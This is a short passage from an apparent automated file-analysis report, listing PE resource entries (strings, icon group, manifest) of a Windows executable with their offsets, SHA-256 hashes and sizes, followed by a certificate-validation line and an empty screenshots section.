u'71966cf60a28c1cdde4196d7909347e3f66661546af21edbacb15c7116944832', u'type': u'data', u'size': 186}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 569568, u'sha256':
u'f63fabe3ed749afb7b1719755170afe965f37e216834adf90dec051811afe657', u'type': u'data', u'size': 188}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_STRING', u'offset': 569756, u'sha256':
u'cfa68e1c4fe3e613725ec1c45a80c2e4855c07e2d4587c8cf46fac05a78c0145', u'type': u'data', u'size': 214}
 {u'lang': u'LANG_NEUTRAL', u'name': u'RT_GROUP_ICON', u'offset': 569972, u'sha256':
u'dc3022dec5dee8e9533935ef090d3e00f027a26e146a168fdfe8714cd245ecc2', u'type': u'MS Windows icon resource - 9 icons, 256x256', u'size':
132}
 {u'lang': u'LANG_ENGLISH', u'name': u'RT_MANIFEST', u'offset': 570104, u'sha256':
u'1b7b67e5d8927449d8f7be80a0e5ba5f03d25670035027c0cb71abce27da6810', u'type': u'XML 1.0 document, ASCII text, with CRLF line
terminators', u'size': 1875}

CERTIFICATE VALIDATION

 -  Certificate Validation is not Applicable  

SCREENSHOTS
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